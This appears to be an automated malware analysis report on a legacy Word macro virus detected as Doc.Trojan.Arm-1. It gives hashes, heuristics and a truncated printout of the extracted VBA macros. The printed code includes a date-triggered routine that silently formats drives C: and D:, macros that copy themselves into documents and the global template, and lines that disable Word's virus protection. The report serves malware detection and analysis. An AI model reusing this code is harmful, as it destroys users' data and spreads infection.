Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 deeaa287c09ee9b6…

MALICIOUS

Office (OLE)

74.5 KB Created: 2001-07-06 17:18:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7d0dc05bf87bbc85661a2e32c8c7eb2b SHA-1: b165e5117dd201e9822072cd114d72946e5b9343 SHA-256: deeaa287c09ee9b66f22b859dbf1b9a8a6609121227a23bb68f9cd4310d3eb94
408 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1059.003 Windows Command Shell

This document contains malicious VBA macros, including AutoOpen and AutoClose, which are designed to execute automatically. The 'Armaegaden' subroutine, when executed, attempts to format local drives 'c:' and 'd:' using the command 'format c:/u' and 'format d:/u'. The 'ToolsMacro' subroutine attempts to copy itself and other macros to the active document, indicating a spreading mechanism. The presence of legacy WordBasic markers and the 'Shell()' call further support its malicious nature.

Heuristics 9

  • ClamAV: Doc.Trojan.Arm-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Arm-1
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Clipboard command execution lure high SE_CLIPBOARD_COMMAND_LURE
    Document tells the user to copy or paste clipboard content into Run, PowerShell, cmd, or another shell-like execution context

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 40572 bytes
SHA-256: bdfafdb450efba788c4452495e6aef032d45459000d49a620cdb4d1297e996e0
Detection
ClamAV: Doc.Trojan.Arm-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Armaegaden"
Sub Armaegaden()
If Day(Now()) = 3 And Month(Now()) = 7 Then
    sCmd$ = "echo y | format c:/u"
    Shell (Environ("comspec") + " /c " + sCmd$), vbHide
    sCmd$ = "echo y | format d:/u"
    Shell (Environ("comspec") + " /c " + sCmd$), vbHide
End If
End Sub

Attribute VB_Name = "ToolsMacro"
Sub ToolsMacro()
On Error GoTo ErrorInfectTM

'Dialogs(wdDialogToolsMacro).Show
If MacroContainer <> ActiveDocument.Name Then
    WordBasic.macrocopy "Armaegaden", ActiveWindow.Caption + ":Armaegaden", 1
    WordBasic.macrocopy "ToolsMacro", ActiveWindow.Caption + ":ToolsMacro", 1
    WordBasic.macrocopy "FileClose", ActiveWindow.Caption + ":FileClose", 1
    WordBasic.macrocopy "FileNew", ActiveWindow.Caption + ":FileNew", 1
    WordBasic.macrocopy "FileExit", ActiveWindow.Caption + ":FileExit", 1
    WordBasic.macrocopy "FileSave", ActiveWindow.Caption + ":FileSave", 1
    WordBasic.macrocopy "FileSaveAs", ActiveWindow.Caption + ":FileSaveAs", 1
    WordBasic.macrocopy "AutoOpen", ActiveWindow.Caption + ":AutoOpen", 1
    WordBasic.macrocopy "AutoClose", ActiveWindow.Caption + ":AutoClose", 1
    WordBasic.macrocopy "AutoExec", ActiveWindow.Caption + ":AutoExec", 1
End If
ErrorInfectTM:
    With Options
    .SaveNormalPrompt = False
    .VirusProtection = False
    End With
    Call Armaegaden.Armaegaden
End Sub

Attribute VB_Name = "FileClose"
Sub FileClose()
Attribute FileClose.VB_Description = "Closes all of the windows of the active document"
Attribute FileClose.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.FileClose"

On Error GoTo ErrorInfectGlobalTemplateFC
For i = 1 To WordBasic.countmacros(0)
    If WordBasic.macroname(i, 0) = "Armaegaden" Then
        checkinfected = 9
    End If
Next i
If checkinfected <> 9 Then
    WordBasic.macrocopy ActiveWindow.Caption + ":Armaegaden", "Armaegaden", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":ToolsMacro", "ToolsMacro", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":AutoOpen", "AutoOpen", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":AutoClose", "AutoClose", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":AutoExec", "AutoExec", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":FileClose", "FileClose", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":FileNew", "FileNew", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":FileExit", "FileExit", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":FileSave", "FileSave", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":FileSaveAs", "FileSaveAs", 1
    End If
        With Options
    .SaveNormalPrompt = False
    .VirusProtection = False
    End With
Template.Save
ErrorInfectGlobalTemplateFC:
        With Options
    .SaveNormalPrompt = False
    .VirusProtection = False
    
    End With
Call Armaegaden.Armaegaden

    WordBasic.FileClose

End Sub

Attribute VB_Name = "FileNew"
Sub FileNew()
Attribute FileNew.VB_Description = "Creates a new document or template"
Attribute FileNew.VB_ProcData.VB_Invoke_Func = "Project.NewMacros.FileNew"

On Error GoTo ErrorInfectGlobalTemplateFN
For i = 1 To WordBasic.countmacros(0)
    If WordBasic.macroname(i, 0) = "Armaegaden" Then
        checkinfected = 9
    End If
Next i
If checkinfected <> 9 Then
    WordBasic.macrocopy ActiveWindow.Caption + ":Armaegaden", "Armaegaden", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":ToolsMacro", "ToolsMacro", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":AutoOpen", "AutoOpen", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":AutoClose", "AutoClose", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":AutoExec", "AutoExec", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":FileClose", "FileClose", 1
    WordBasic.macrocopy ActiveWindow.Caption + ":FileNew", "FileNew",
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.